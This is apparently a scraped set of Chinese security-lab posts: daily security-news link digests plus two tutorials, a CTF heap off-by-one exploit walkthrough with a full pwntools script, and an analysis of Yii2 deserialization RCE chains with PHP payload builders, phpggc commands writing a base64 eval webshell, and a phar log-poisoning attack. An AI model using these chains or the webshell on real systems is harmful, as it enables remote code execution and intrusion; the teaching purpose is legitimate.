免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、美国最大的丙烷供应商AmeriGas数据泄露 https://www.bleepingcomputer.com/news/security/largest-us-propane-distributor-discloses-8-second-data-breach/ 2、微软Teams存严重漏洞可能允许攻击者窃取敏感数据 https://portswigger.net/daily-swig/vulnerability-in-microsoft-teams-granted-attackers-access-to-emails-messages-and-personal-files 3、波兰政府称机构和个人遭受前所未有的一系列网络攻击 https://securityaffairs.co/wordpress/119043/hacking/poland-hit-cyber-attacks.html 4、国际联合行动逮捕了多名Clop 勒索软件成员 https://securityaffairs.co/wordpress/119036/cyber-crime/clop-ransomware-arrest.html 5、谷歌发布全同态加密的开源工具和库 https://www.securityweek.com/google-releases-open-source-tools-and-libraries-fully-homomorphic-encryption 6、谷歌为 Android 消息应用推出 E2EE（端到端加密） https://www.securityweek.com/google-rolls-out-e2ee-android-messages-app 7、施耐德 PowerLogic 设备存在漏洞可被黑客控制和利用 https://www.securityweek.com/vulnerabilities-allow-hackers-disrupt-hijack-schneider-powerlogic-devices 8、STEM 会议免提电话存在漏洞可被用于窃听对话 https://www.securityweek.com/flaws-stem-conference-room-speakerphone-can-be-exploited-spy-users 9、Peloton Bike+ 存严重漏洞可被黑客完全控制 https://threatpost.com/peloton-bike-bug-hackers-control/166960/ 10、超过 10 亿条属于 CVS Health 的数据在线泄露 https://www.zdnet.com/article/billions-of-records-belonging-to-cvs-health-exposed-online

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Paradise Ransomware 源代码在 XSS 黑客论坛泄露 https://securityaffairs.co/wordpress/119006/cyber-crime/paradise-ransomware-code-leaked.html 2、Instagram修复了查看任意用户私人动态的漏洞 https://securityaffairs.co/wordpress/118994/security/instagram-flaw-2.html 3、富士胶片在勒索软件攻击后恢复服务 https://www.securityweek.com/fujifilm-restores-services-following-ransomware-attack 4、数以百万计联网摄像头受ThroughTek组件漏洞影响 https://threatpost.com/millions-connected-cameras-eavesdropping/166950/ 5、微软破坏了大规模、基于云的 BEC 活动 https://threatpost.com/microsoft-disrupts-cloud-bec-campaign/166937/ 6、TeaBot 木马通过冒充防病毒应用程序进行传播 https://cyware.com/news/teabot-trojan-spreads-via-fake-antivirus-apps-d59f7630 7、攻击者利用SEO中毒分发SolarMarker恶意软件 https://www.bleepingcomputer.com/news/security/microsoft-seo-poisoning-used-to-backdoor-targets-with-malware/ 8、黑客出售法国电信供应商Free的数据库访问权 https://www.technadu.com/hacker-broke-into-french-isp-free-selling-database-access/283142/ 9、Facebook Messenger Rooms中存在安全漏洞 https://portswigger.net/daily-swig/android-screen-lock-protection-thwarted-by-facebook-messenger-rooms-exploit 10、SIP通信协议可能被滥用来执行跨站脚本攻击 https://portswigger.net/daily-swig/sip-protocol-abused-to-trigger-xss-attacks-via-voip-call-monitoring-software

漏洞简介 chunk extend overlapping在堆中是一种比较常见的利用手段，其主要原理就是因为某些意外情况我们可以去修改一些已经申请或在空闲状态的堆块的大小，从而造成堆块重叠的情况，而这也就引发了一系列安全隐患。 本文涉及相关实验：https://www.yijinglab.com/cour.do?w=1&c=CCID31b0-fe03-4277-8e2f-504c4960d33f  （ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术，攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前，立即间接地执行精心挑选的指令或机器指令组。） 这里我将根据一道题来介绍这个漏洞的利用流程 例题：HITCON Trainging lab13     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000) 查看保护机制，开启canary与nx保护，因为题目给出源码所以我们直接对着源码进行分析 源码分析 void menu(){ puts("--------------------------------"); puts("          Heap Creator          "); puts("--------------------------------"); puts(" 1. Create a Heap               "); puts(" 2. Edit a Heap                 "); puts(" 3. Show a Heap                 "); puts(" 4. Delete a Heap               "); puts(" 5. Exit                        "); puts("--------------------------------"); printf("Your choice :"); } 经典菜单题，根据我们输入的选项执行不同的功能 Create函数 我们先看一下Create函数 void create_heap(){ int i ; char buf[8]; size_t size = 0; for(i = 0 ; i < 10 ; i++){ if(!heaparray[i]){ heaparray[i] = (struct heap *)malloc(sizeof(struct heap)); if(!heaparray[i]){ puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0,buf,8); size = atoi(buf); heaparray[i]->content = (char *)malloc(size); if(!heaparray[i]->content){ puts("Allocate Error"); exit(2); } heaparray[i]->size = size ; printf("Content of heap:"); read_input(heaparray[i]->content,size); puts("SuccessFul"); break ; } } } heaparray数组是声明的heap结构体数组，其中的内容如下所示 struct heap { size_t size ; char *content ; }; 首先create函数会先为heaparray中的每一个结构体元素分配一个0x10大小的内存，然后在对结构体中的content指针分配我们所指定的大小的内存，并执行read_input函数存放我们输入的内容 Edit函数 接下来继续往下看Edit函数 void edit_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Content of heap : "); read_input(heaparray[idx]->content,heaparray[idx]->size+1); puts("Done !"); }else{ puts("No such heap !"); } } edit函数会根据我们输入的索引去heaparray中寻找对应的结构体，需要注意的是这里的索引与数组一致都是从零开始，这里需要注意的是read_input函数在写入内容时共存入了size+1位，这也就造成了off-by-one漏洞，找到一个漏洞点。 Show函数 继续往下Show函数打印对应结构体中content中存放的内容 void show_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content); puts("Done !"); }else{ puts("No such heap !"); } } Delete函数 而我们最后需要关注的就是 void delete_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ free(heaparray[idx]->content); free(heaparray[idx]); heaparray[idx] = NULL ; puts("Done !"); }else{ puts("No such heap !"); } } 在delete函数中它是先将content申请的内存free掉再free的结构体内存，我们后面进行漏洞利用时这里会用到 漏洞利用 我们这里的利用思路是： 1、利用off by one漏洞完成堆重叠并构建含有/bin/sh的堆块 2、泄露出free函数并计算出libc基地址与system地址 3、覆盖free函数的got表中的地址为system地址 4、free掉包含/bin/sh的堆块，获取shell 我们先构造exp中上述代码对应的功能函数 def menu(index): p.sendlineafter("Your choice :", str(index)) def Create(heap_size, content): menu(1) p.sendlineafter("Size of Heap : ", str(heap_size)) p.sendlineafter("Content of heap:", content) def Edit(index, content): menu(2) p.sendlineafter("Index :", str(index)) p.sendlineafter("Content of heap : ", content) def Show(index): menu(3) p.sendlineafter("Index :", str(index)) def Free(index): menu(4) p.sendlineafter("Index :", str(index)) 1、利用off-by-one完成extend overlapping 在源码中我们发现了其存在off by one漏洞，我们就利用这个漏洞完成对堆块的extend overlapping 使用pwndbg对程序进行调试 --------------------------------           Heap Creator           --------------------------------  1. Create a Heap                 2. Edit a Heap                   3. Show a Heap                   4. Delete a Heap                 5. Exit                         -------------------------------- Your choice :1 Size of Heap : 24 Content of heap:content1 SuccessFul --------------------------------           Heap Creator           --------------------------------  1. Create a Heap                 2. Edit a Heap                   3. Show a Heap                   4. Delete a Heap                 5. Exit                         -------------------------------- Your choice :1 Size of Heap : 16 Content of heap:content2 SuccessFul 首先我们创建两个heap，然后ctrl+c，使用heap指令查看当前堆的状态 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x603000 Size: 0x251 //struct1 Allocated chunk | PREV_INUSE Addr: 0x603250 Size: 0x21 //struct1->content Allocated chunk | PREV_INUSE Addr: 0x603270 Size: 0x21 //stuct2 Allocated chunk | PREV_INUSE Addr: 0x603290 Size: 0x21 //struct2->content Allocated chunk | PREV_INUSE Addr: 0x6032b0 Size: 0x21 //top chunk Top chunk | PREV_INUSE Addr: 0x6032d0 Size: 0x20d31 这些便是我们申请的内存，查看内存信息 pwndbg> x/20gx 0x603250 0x603250: 0x0000000000000000 0x0000000000000021 0x603260: 0x0000000000000018 0x0000000000603280 0x603270: 0x0000000000000000 0x0000000000000021 0x603280: 0x31746e65746e6f63 0x000000000000000a 0x603290: 0x0000000000000000 0x0000000000000021 0x6032a0: 0x0000000000000010 0x00000000006032c0 0x6032b0: 0x0000000000000000 0x0000000000000021 0x6032c0: 0x32746e65746e6f63 0x000000000000000a 0x6032d0: 0x0000000000000000 0x0000000000020d31 从地址到高地址依次是 0x603250-0x603268 heap_struct1申请的内存 0x603270-0x603288 heap_stuct1->content申请的内存 0x603290-0x6032a8 heap_struct2申请的内存 0x6032b0-0x6032c8 heap_struct2->content申请的内存 而它们的存储对应了系统中堆块的构造 我们拿第一个堆块进行说明 0x603250中存放的是其前一个堆块的大小（prev_size） 0x603258中存放的是当前堆块的大小（size） 0x603260-0x603268便是heap_struct1结构体存放的位置 特别的是当堆块的前一个堆块处于使用状态时，会被当前堆块size的最低位记为1，并且prev_size也会作为可利用内存供前一个堆块去存储数据。说到这里也就可以解释为什么size的大小是0x21了，在64位程序下，prev_size与size各占8字节大小，再加上data域的0x10，一共就是0x10+0x8+0x8=0x20，而因为当前堆块的size域中用来记录前一个堆块使用状态的P位被置一了，所以我们要再加1，所以最后存放在size域中的值是0x21。 继续回到漏洞利用，当我们创建完这4个堆块后（两个struct两个content），在执行Edit函数时，因为off-by-one漏洞的缘故，我们共可以输入size+1位字符，而当我们选择Edit的对象是content1时，因为堆是连续的，我们就可以覆盖掉struct2的一位字节，根据上面对于堆块的介绍，如果我们覆盖的是当前堆块的size时，就会造成extend，进而触发新的漏洞利用。 继续执行程序，因为我们content1申请了24的内存，所以这里我们输入25个字符。 查看堆中情况，发现因为off-by-one的缘故我们已经成功覆盖掉struct2的size域，而我们想要达到的目的是控制struct2以及struct2->content的内存，所以这里我们将数覆盖为0x41，及'A'的ASCII码值，对应exp如下所示： Create(24, "content1") Create(16, "content2") binsh = "/bin/sh\x00" Edit(0, binsh.ljust(25, "A")) 这里将填充位改为使用"/bin/sh"是为了我们后续获取shell时用到 接下来我们需要free掉heap2（struct2跟struct->content） free(heaparray[idx]->content); free(heaparray[idx]); 根据堆中bins的规则我们当前free的chunk会被回收到tcache中，而源码中我们是先free的struct->content再free的struct，而如果我们这时再申请一个堆块（记作struct3），那么struct3申请的内存区域就会是struct2->content刚刚free的内存区域，并且当我们令struct3->content所申请的内存大小为0x30时，经过我们extend后的struct2的内存区域就会被struct3->content使用。 我们用gdb调试free后新创建一个堆块的内存的布局 Free(1) Create(0x30, "content3") 可以看到我们这里已经成功完成了extend overlapping，并且都被存放在了tcache中，继续执行程序 可以看到原先空闲的块已经被使用了，我们再来看看里面存的内容 可以看到这里我们已经成功创建了struct3与struct3->content的内存，这样看可能不是很明显，我在这里详细说明一下 0x22d5290-0x22d52c8 是struct3->content的内存区域 0x22d52b0-0x22d52c8 是struct3的结构体申请的内存区域 0x22d52d0-0x22d52d8 是arena的所属内存区域（即top chunk） 可以看出struct3的结构体内存区域是被包含在struct3->content的内存区域中的，而我们又可以通过Edit函数来对struct3->content的内存区域进行写入操作，那么我们现在所需要做的事情就是下面几步 1、泄露free函数got表中的真实地址 2、通过free函数的真实地址计算出libc基地址和system地址 3、将free_got中的地址替换为system函数的真实地址 4、获取shell 2、泄露free函数&&计算libc基地址与system地址 要达到这步我们现在只需要通过edit函数将struct3结构体中content指针的地址改为free_got的地址，并使用show函数打印出真实地址即可 对应exp如下所示 Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)) Show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) log.success("free addr: 0x%x"%free_addr) 而我们当有了free函数的基地址，就能求出libc与system的地址了 libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.success('system addr: ' + hex(system_addr)) 效果如下图所示 3、获取shell 到现在为止我们获取shell的所有必要条件都完成了，最后只需要修改掉free_got中的真实地址为system的地址即可。因为前面我们已经将struct结构体中的content指针地址修改为了free_got的地址，所有这里我们只需要通过Edit函数对其中的内容进行修改即可，修改完成后我们执行free函数也就等同于执行system函数，而在前面我们已经构建了一个包含"/bin/sh"的chunk（struct1->content），也就是说我们只要free掉struct1->content就可以完成漏洞利用获得shell 对应exp如下所示 Edit(1, p64(system_addr)) Free(0) 然后我们就能执行system("/bin/sh")获得shell 完整exp如下所示 from pwn import * import time def menu(index): p.sendlineafter("Your choice :", str(index)) def Create(heap_size, content): menu(1) p.sendlineafter("Size of Heap : ", str(heap_size)) p.sendlineafter("Content of heap:", content) def Edit(index, content): menu(2) p.sendlineafter("Index :", str(index)) p.sendlineafter("Content of heap : ", content) def Show(index): menu(3) p.sendlineafter("Index :", str(index)) def Free(index): menu(4) p.sendlineafter("Index :", str(index)) def debug(): gdb.attach(p) p = process('./heapcreator') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./heapcreator') free_got = elf.got['free'] Create(24, "content1") Create(16, "content2") binsh = "/bin/sh\x00" Edit(0, binsh.ljust(25, "A")) Free(1) Create(0x30, "content3") Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)) Show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) log.success("free addr: 0x%x"%free_addr) libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.success('system addr: ' + hex(system_addr)) Edit(1, p64(system_addr)) debug() Free(0) p.interactive() 参考链接 https://blog.csdn.net/qq_41202237/article/details/108320408?fileGuid=6cwyDXdtXXk6t8Jvhttps://blog.csdn.net/weixin_43921239/article/details/107841328?fileGuid=6cwyDXdtXXk6t8Jv

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、谷歌为Google Workspace推出客户端加密 https://thehackernews.com/2021/06/google-workspace-now-offers-client-side.html 2、NoxPlayer 供应链攻击与Gelsemium黑客组织有关 https://thehackernews.com/2021/06/noxplayer-supply-chain-attack-is-likely.html 3、Mirai 僵尸网络变体 Moobot利用Tenda路由器漏洞进行传播 https://threatpost.com/moobot-tenda-router-bugs/166902/ 4、大众汽车供应商泄露了330万名客户的个人数据 https://threatpost.com/vw-data-3m-audi-drivers/166892/ 5、美国核武器承包商Sol Oriens 遭REvil勒索软件攻击 https://threatpost.com/revil-hits-us-nuclear-weapons-contractor-sol-oriens/166858/ 6、CD Projekt Red证实在遭攻击四个月后，相关被盗数据在线泄露 https://threatpost.com/cyberpunk-2077-hacked-data-online/166852/ 7、苹果称WebKit 漏洞被利用来破解旧款 iPhone，已发布更新补丁 https://www.securityweek.com/apple-webkit-bugs-exploited-hack-older-iphones 8、麦当劳披露美国、台湾和韩国的数据泄露事件 https://securityaffairs.co/wordpress/118894/data-breach/mcdonalds-data-breach.html 9、 polkit 身份验证系统漏洞影响大多数Linux发行版 https://securityaffairs.co/wordpress/118877/security/polkit-auth-linux-distros.html 10、Avaddon 勒索软件团伙关闭其运营并释放解密密钥 https://securityaffairs.co/wordpress/118872/cyber-crime/avaddon-ransomware-shuts-down-operations.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、攻击者利用 SonicWall VPN 漏洞破坏 SRA 设备 https://www.securityweek.com/attackers-leverage-sonicwall-vpn-flaw-compromise-sra-appliances 2、GitHub 开始扫描RubyGems、PyPI等开源包中可能泄露的凭证 https://www.securityweek.com/github-starts-scanning-exposed-package-registry-credentials 3、霍尼韦尔推出 OT 网络安全监控和响应服务 https://www.securityweek.com/honeywell-launches-ot-cybersecurity-monitoring-and-response-service 4、谷歌修复了被利用的Chrome零日漏洞 https://www.securityweek.com/google-patches-chrome-zero-day-used-commercial-exploit-company 5、 JBS 确认向REvil勒索团队支付了 1100 万美元的赎金 https://www.securityweek.com/meat-company-jbs-confirms-it-paid-11m-ransom-cyberattack 6、游戏巨头EA遭黑客入侵被窃取780GB数据，包括游戏源码和工具 https://securityaffairs.co/wordpress/118820/data-breach/electronic-arts-data-breach.html 7、 2017 年荷兰调查MH-17事件时，与俄相关APT入侵了荷兰警方网络 https://securityaffairs.co/wordpress/118794/apt/russia-linked-apt-dutch-police.html 8、Group-IB 发布报告称诈骗已经成为在线犯罪之首 https://securityaffairs.co/wordpress/118828/cyber-crime/scams-online-crime.html 9、神秘的恶意软件收集了数十亿个凭证 https://threatpost.com/custom-malware-stolen-data/166753/ 10、谷歌Play中存在《我的世界》模组包恶意软件 https://www.kaspersky.co.uk/blog/minecraft-mod-adware-google-play-revisited/22887/

简介 Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize()时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架 Yii2＜2.0.38反序列化 安装：在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本 然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值，运行 php yii serve，新建一个控制器 yii-basic-app-2.0.37\basic\controllers\TestController.php <?php namespace app\controllers; use yii\web\Controller; class TestController extends Controller{    public function actionTest($name){        return unserialize($name);   } } 就可以进行测试了 ?r=test/test&name= 链一 链的入口在 yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php public function __destruct()   {        // make sure cursor is closed        $this->reset();   } 跟进$this->reset(); public function reset()   {        if ($this->_dataReader !== null) {            $this->_dataReader->close();       } 这里的$this->_dataReader可控，并调用了close()方法，那么可以找到一个类不存在close()方法，但存在__call方法就可以调用他了 在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php public function __call($method, $attributes)   {        return $this->format($method, $attributes);   } 这里的$method为close，$attributes为空，继续跟进format public function format($formatter, $arguments = array())   {        return call_user_func_array($this->getFormatter($formatter), $arguments);   } 跟进getFormatter public function getFormatter($formatter)   {        if (isset($this->formatters[$formatter])) {            return $this->formatters[$formatter];       } 似曾相识的代码，laravel5.8某条链就出现过，这里$this->formatters可控，也就是$this->getFormatter($formatter)这这个可控，但是$arguments的值我们无法控制，值为空 到这里可以执行phpinfo了 <?php namespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b))); } 但是我们想要rce的话，还要在yii2中已有的无参方法中进行挖掘 这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数 call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+) 然后找到下面两个都比较好用 yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php public function run()   {        if ($this->checkAccess) {            call_user_func($this->checkAccess, $this->id);       }        return $this->prepareDataProvider();   } yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php public function run() {    if ($this->checkAccess) {        call_user_func($this->checkAccess, $this->id); } 这里的$this->checkAccess和$this->id都是我们可控的 所以直接构造就行了 <?php namespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); } 链二 这个是yii2 2.0.37的另外一条链 起点和链一相同，是BatchQueryResult类的__destruct，然后是$this->_dataReader->close()，但是这里不找__call，我们去找存在close方法的类 找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php class DbSession extends MultiFieldSession { ... public function close()   {        if ($this->getIsActive()) {            // prepare writeCallback fields before session closes            $this->fields = $this->composeFields(); 这里跟进$this->composeFields() abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null)   {        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : []; 这里$this->writeCallback可控，$this是一个对象，所以这里调phpinfo的话应该不行，不过可以续上链一的run方法（即那个无参的方法） 这里直接构造即可 <?php namespace yii\db{    class BatchQueryResult{        private $_dataReader;        public function __construct($_dataReader) {            $this->_dataReader = $_dataReader;       }   } } namespace yii\web{    class DbSession{        public $writeCallback;        public function __construct($writeCallback) {            $this->writeCallback = $writeCallback;       }   } } namespace yii\rest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;       }   } } namespace {    $c = new yii\rest\CreateAction('system','whoami');    $b = new yii\web\DbSession(array($c, 'run'));    $a = new yii\db\BatchQueryResult($b);    print(urlencode(serialize($a))); } 链三 我们可以在yii2 2.0.38的commit看到他加了一个__wakeup 这里限制了链一的起点BatchQueryResult无法使用，后面的__call的链没有被破坏，所以我们继续寻找一个__destruct yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php public function __destruct()   {        $this->stopProcess();   } 这里继续跟进stopProcess public function stopProcess()   {        foreach (array_reverse($this->processes) as $process) {            /** @var $process Process **/            if (!$process->isRunning()) {                continue;           } 这里的$this->processes可控，所以可以利用$process->isRunning()来进行触发__call 后面的利用就和链一相同了 <?php namespace Codeception\Extension{ class RunProcess{ private $processes = []; public function __construct($processes) { $this->processes[] = $processes; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a))); } 链四 同样的先找__destruct yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php public function __destruct()   {        foreach ($this->keys as $nsKey => $null) {            $this->clearAll($nsKey);       }   } 这里$nsKey可控，跟进clearAll public function clearAll($nsKey)   {        if (array_key_exists($nsKey, $this->keys)) {            foreach ($this->keys[$nsKey] as $itemKey => $null) {                $this->clearKey($nsKey, $itemKey);           }            if (is_dir($this->path.'/'.$nsKey)) {                rmdir($this->path.'/'.$nsKey);           }            unset($this->keys[$nsKey]);       }   } 这里没有触发__call的地方，但是存在字符串的拼接，可以触发__toString 随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php public function __toString() {    return $this->__dom__->saveXML(); } 同样用他去触发__call <?php namespace {    class Swift_KeyCache_DiskKeyCache{        private $path;        private $keys = [];        public function __construct($path,$keys) {            $this->path = $path;            $this->keys = $keys;       }   } } namespace Codeception\Util{    class XmlBuilder{        protected $__dom__;        public function __construct($__dom__) {            $this->__dom__ = $__dom__;       }   } } namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;       }   } } namespace yii\rest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;       }   } } namespace {    $c = new yii\rest\CreateAction('system','whoami');    $b = new Faker\Generator(array('saveXML'=>array($c,'run')));    $a = new Codeception\Util\XmlBuilder($b);    $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));    print(urlencode(serialize($d))); } phpggc 使用./phpggc -l yii2可以看到有两条yii2的链 可以使用如下命令快速得到链，-u指url编码 ./phpggc Yii2/RCE1 system id -u phpggc的链二的终点是一个eval，所以这里可以直接写shell，-b指base64编码 ./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b CTF题目 [HMBCTF 2021]framework 把题目附件解压，看到html\controllers\SiteController.php class SiteController extends Controller {    public function actionAbout($message = 'Hello')   {        $data = base64_decode($message);        unserialize($data);   } 这里可以这样传参 ?r=site/about&message= 拿链一打了一下，发现一下system等函数被ban 这里用phpggc yii2的链二写一个shell进去，然后用蚁剑的 apache/mod 绕 disable，运行 /readflag 即可获取 flag [CISCN2021 Quals]filter 据说这是配置文件里面的重要内容，或许对你有用！！       'log' => [           'traceLevel' => YII_DEBUG ? 0 : 0,           'targets' => [               [                   'class' => 'yii\log\FileTarget',                   'levels' => ['error'],                   'logVars' => [],               ],           ],       ], 看到附件的SiteController.php就改了这个地方 public function actionIndex()   {        $file = Yii::$app->request->get('file');        $res = file_get_contents($file);        file_put_contents($file,$res);        return $this->render('index');   } yii框架的runtime/logs目录下有一个app.log 看一下依赖发现monolog符合 "require": {       "php": ">=5.6.0",       "yiisoft/yii2": "~2.0.14",       "yiisoft/yii2-bootstrap": "~2.0.0",       "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19"   }, 首先清空日志文件 ?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log phpggc生成 php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" 写入日志，注意最后面要加个字符a /?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=0 保留phar的内容 /?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log 最后用phar协议打一下 /?file=phar://../runtime/logs/app.log/test.txt 然后在根目录找到This_is_flaaagggg 然后用这个找一下flag即可 php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" 本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 （通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、新的恶意活动攻击Kubeflow用于挖矿 https://www.securityweek.com/kubeflow-deployments-targeted-new-crypto-mining-campaign 2、英特尔本周发布多个产品的73个漏洞补丁 https://www.securityweek.com/intel-releases-29-advisories-describe-73-vulnerabilities-affecting-its-products 3、西门子和施耐德电气告知客户影响其产品的数十个漏洞 https://www.securityweek.com/siemens-schneider-electric-inform-customers-about-tens-vulnerabilities 4、在发出警告5年后，思科智能安装协议仍在攻击中被滥用 https://www.securityweek.com/cisco-smart-install-protocol-still-abused-attacks-5-years-after-first-warning 5、西班牙劳动和社会经济部遭网络攻击 https://securityaffairs.co/wordpress/118768/hacking/spains-ministry-of-labor-cyberattack.html 6、新型 TLS 攻击可以对安全站点发起跨域和跨协议攻击 https://thehackernews.com/2021/06/new-tls-attack-lets-attackers-launch.html 7、内存和存储制造商威刚遭到 Ragnar Locker 勒索软件攻击 https://www.techradar.com/news/adata-struck-by-ragnar-locker-ransomware-attack 8、研究人员发现Linktree被滥用以发送钓鱼链接 https://cofense.com/blog/linktree-phishing-links/ 9、Joomla CMS中的两个漏洞可导致系统被入侵 https://portswigger.net/daily-swig/dual-vulnerability-combo-in-popular-cms-joomla-could-lead-to-full-system-compromise 10、WAGO控制器漏洞可被黑客利用破坏工业流程 https://www.securityweek.com/wago-controller-flaws-can-allow-hackers-disrupt-industrial-processes

